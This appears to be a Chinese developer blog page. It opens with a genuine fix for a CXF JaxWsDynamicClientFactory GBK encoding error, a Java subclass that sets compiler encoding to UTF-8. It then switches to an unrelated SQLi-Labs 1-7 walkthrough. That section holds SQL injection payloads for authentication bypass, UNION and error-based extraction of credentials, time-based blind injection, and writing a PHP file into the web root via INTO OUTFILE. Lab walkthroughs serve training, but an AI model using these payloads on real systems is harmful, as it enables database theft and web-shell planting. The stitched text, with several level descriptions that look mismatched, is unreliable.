调用webservice接口, cmd启动jar包出现问题,出现CXF JaxWsDynamicClientFactory 错误:编码GBK的不可映射字符

 JaxWsDynamicClientFactory  jwdc= JaxWsDynamicClientFactory.newInstance();

如果你动态的调用webservice接口,如上图。

解决重写JaxWsDynamicClientFactory  类

package com.baiyou.webservice.newClass;

import org.apache.cxf.Bus;
import org.apache.cxf.bus.CXFBusFactory;
import org.apache.cxf.endpoint.EndpointImplFactory;
import org.apache.cxf.endpoint.dynamic.DynamicClientFactory;
import org.apache.cxf.jaxws.support.JaxWsEndpointImplFactory;

import java.io.File;
import java.util.List;

/**
 * 覆写父类的compileJavaSrc方法,解决动态编译乱码问题
 *
 * @author yueli.liao
 * @date 2019-03-08 14:10
 */
public class JaxWsDynamicClientFactory extends DynamicClientFactory {

    protected JaxWsDynamicClientFactory(Bus bus) {
        super(bus);
    }

    @Override
    protected EndpointImplFactory getEndpointImplFactory() {
        return JaxWsEndpointImplFactory.getSingleton();
    }

    protected boolean allowWrapperOps() {
        return true;
    }

    /**
     * Create a new instance using a specific <tt>Bus</tt>.
     *
     * @param b the <tt>Bus</tt> to use in subsequent operations with the
     *            instance
     * @return the new instance
     */
    public static JaxWsDynamicClientFactory newInstance(Bus b) {
        return new JaxWsDynamicClientFactory(b);
    }

    /**
     * Create a new instance using a default <tt>Bus</tt>.
     *
     * @return the new instance
     * @see CXFBusFactory#getDefaultBus()
     */
    public static JaxWsDynamicClientFactory newInstance() {
        Bus bus = CXFBusFactory.getThreadDefaultBus();
        return new JaxWsDynamicClientFactory(bus);
    }

    /**
     * 覆写父类的该方法<br/>
     * 注:解决此(错误:编码GBK的不可映射字符)问题
     *
     * @return
     */
    @Override
    protected boolean compileJavaSrc(String classPath, List<File> srcList, String dest) {
        org.apache.cxf.common.util.Compiler javaCompiler
                = new org.apache.cxf.common.util.Compiler();

        // 设置编译编码格式(此处为新增代码)
        javaCompiler.setEncoding("UTF-8");
        javaCompiler.setClassPath(classPath);
        javaCompiler.setOutputDir(dest);
        javaCompiler.setTarget("1.6");
        return javaCompiler.compileFiles(srcList);
    }

}

实际

JaxWsDynamicClientFactory添加一段代码
 javaCompiler.setEncoding("UTF-8");

想要看更详细的解说请看下面网址,大佬解释很清楚

CXF JaxWsDynamicClientFactory 错误:编码GBK的不可映射字符 - toughzcf - 博客园 (cnblogs.com)

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件写入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值